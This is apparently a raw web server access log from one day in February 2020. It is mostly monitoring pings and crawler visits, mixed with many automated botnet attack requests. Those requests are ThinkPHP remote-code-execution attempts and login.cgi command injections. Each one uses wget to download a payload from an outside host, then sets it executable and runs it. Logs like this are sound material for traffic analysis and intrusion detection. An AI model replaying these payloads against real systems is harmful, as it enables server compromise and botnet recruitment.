212.91.246.72 - - [05/Feb/2020:07:50:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:51:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
157.97.91.84 - - [05/Feb/2020:07:52:00 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/601.7.7 (KHTML, like Gecko) Version/9.1.2 Safari/601.7.7"
113.22.166.86 - - [05/Feb/2020:07:52:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
190.255.239.85 - - [05/Feb/2020:07:52:45 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:52:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:53:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
213.193.6.41 - - [05/Feb/2020:07:54:06 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:07:54:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.230 - - [05/Feb/2020:07:55:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "-"
120.25.250.178 - - [05/Feb/2020:07:55:44 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
120.25.250.178 - - [05/Feb/2020:07:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:07:55:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.60.237.199 - - [05/Feb/2020:07:56:27 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:07:56:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:57:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:07:58:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
220.130.21.230 - - [05/Feb/2020:07:59:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:07:59:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
113.22.166.182 - - [05/Feb/2020:08:00:04 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:00:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
209.159.154.190 - - [05/Feb/2020:08:01:10 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://94.177.216.74/sh%20-O%20-%3E%20/tmp/kh;sh%20/tmp/kh%27$ HTTP/1.1" 400 329 "-" "Hakai/2.0"
179.238.223.159 - - [05/Feb/2020:08:01:15 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.103 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:08:01:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
188.165.216.213 - - [05/Feb/2020:08:02:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "python-requests/2.22.0"
212.91.246.72 - - [05/Feb/2020:08:02:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
140.143.16.158 - - [05/Feb/2020:08:03:01 +0100] "GET /TP/public/index.php HTTP/1.1" 404 324 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.16.158 - - [05/Feb/2020:08:03:04 +0100] "GET /TP/index.php HTTP/1.1" 404 317 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.16.158 - - [05/Feb/2020:08:03:05 +0100] "GET /thinkphp/html/public/index.php HTTP/1.1" 404 335 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
140.143.16.158 - - [05/Feb/2020:08:03:11 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows; U; Windows NT 6.0;en-US; rv:1.9.2) Gecko/20100115 Firefox/3.6)"
212.91.246.72 - - [05/Feb/2020:08:03:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:04:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:05:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.233.123.105 - - [05/Feb/2020:08:06:24 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:08:06:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [05/Feb/2020:08:07:31 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:07:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:08:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
42.118.70.92 - - [05/Feb/2020:08:09:03 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:09:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
211.192.180.178 - - [05/Feb/2020:08:09:58 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:08:10:01 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:08:10:07 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
211.192.180.178 - - [05/Feb/2020:08:10:19 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
119.7.133.103 - - [05/Feb/2020:08:10:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
211.192.180.178 - - [05/Feb/2020:08:10:43 +0100] "GET /login.cgi?cli=aa%20aa%27;wget%20http://104.168.176.25/d%20-O%20-%3E%20/tmp/ff;chmod%20+x%20/tmp/ff;sh%20/tmp/ff%27$ HTTP/1.1" 400 329 "-" "DEMONS/2.0"
212.91.246.72 - - [05/Feb/2020:08:10:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.134.106.73 - - [05/Feb/2020:08:11:06 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:11:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:12:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:13:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:14:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:15:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:16:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
5.94.226.244 - - [05/Feb/2020:08:17:21 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:08:17:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:18:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
196.221.67.182 - - [05/Feb/2020:08:18:50 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:08:19:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:20:45 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:21:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:22:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
66.249.64.39 - - [05/Feb/2020:08:23:08 +0100] "GET /robots.txt HTTP/1.1" 404 330 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
66.249.64.43 - - [05/Feb/2020:08:23:08 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)"
212.91.246.72 - - [05/Feb/2020:08:23:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:24:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
2.132.212.236 - - [05/Feb/2020:08:25:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:25:46 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:26:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
47.254.149.92 - - [05/Feb/2020:08:27:40 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
220.77.199.108 - - [05/Feb/2020:08:27:43 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:27:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:28:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:29:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
71.6.232.4 - - [05/Feb/2020:08:30:19 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/57.0.2987.133 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:08:30:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
41.50.83.155 - - [05/Feb/2020:08:31:03 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:08:31:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:32:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
117.5.214.101 - - [05/Feb/2020:08:33:19 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:33:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
183.81.113.82 - - [05/Feb/2020:08:34:42 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:34:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
31.193.91.39 - - [05/Feb/2020:08:35:08 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:35:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:36:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:37:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:38:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:39:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:40:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:41:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
82.142.104.141 - - [05/Feb/2020:08:42:23 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:08:42:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:43:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
1.53.132.161 - - [05/Feb/2020:08:43:49 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:44:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
27.125.181.233 - - [05/Feb/2020:08:44:53 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:08:45:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:46:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:47:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:48:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
103.138.4.124 - - [05/Feb/2020:08:49:32 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/52.0.2743.116 Safari/537.36"
212.91.246.72 - - [05/Feb/2020:08:49:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:50:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:51:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:52:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:53:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:54:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:55:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
197.246.167.51 - - [05/Feb/2020:08:56:18 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://fksdjfaksj321bots.mybiadboats.xyz/thinkphp -O .d41 ; chmod 777 .d41 ; ./.d41 ThinkPHP.exploit' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:56:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:57:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
124.118.185.20 - - [05/Feb/2020:08:57:52 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
52.90.192.104 - - [05/Feb/2020:08:58:41 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
212.91.246.72 - - [05/Feb/2020:08:58:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:08:59:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:00:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:01:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:02:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [05/Feb/2020:09:03:13 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
1.53.122.183 - - [05/Feb/2020:09:03:14 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://faygox.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Unstable/2.0"
63.143.35.226 - - [05/Feb/2020:09:03:25 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [05/Feb/2020:09:03:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [05/Feb/2020:09:04:09 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [05/Feb/2020:09:04:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:05:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:06:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:07:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [05/Feb/2020:09:07:53 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
80.26.154.92 - - [05/Feb/2020:09:08:09 +0100] "GET /index.php?s=/index/\think\x07pp/invokefunction&function=call_user_func_array&vars[0]=shell_exec&vars[1][]= 'wget http://zxcxffyttygbbgfgf12121bot.duckdns.org/thinkphp -O /tmp/.xfck; chmod 777 /tmp/.xfck; /tmp/.xfck' HTTP/1.1" 404 310 "-" "Karu/2.0"
63.143.35.226 - - [05/Feb/2020:09:08:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [05/Feb/2020:09:08:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [05/Feb/2020:09:08:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
63.143.35.226 - - [05/Feb/2020:09:08:52 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [05/Feb/2020:09:09:00 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [05/Feb/2020:09:09:02 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
63.143.35.226 - - [05/Feb/2020:09:09:31 +0100] "HEAD /robots.txt HTTP/1.0" 404 - "-" "-"
212.91.246.72 - - [05/Feb/2020:09:09:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
212.91.246.72 - - [05/Feb/2020:09:10:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
92.217.167.57 - - [05/Feb/2020:09:11:42 +0100] "GET / HTTP/1.1" 400 329 "-" "-"
212.91.246.72 - - [05/Feb/2020:09:11:47 +0100] "GET / HTTP/1.1" 200 1229 "-" "Mozilla/5.0 (compatible; PRTG Network Monitor (www.paessler.com); Windows)"
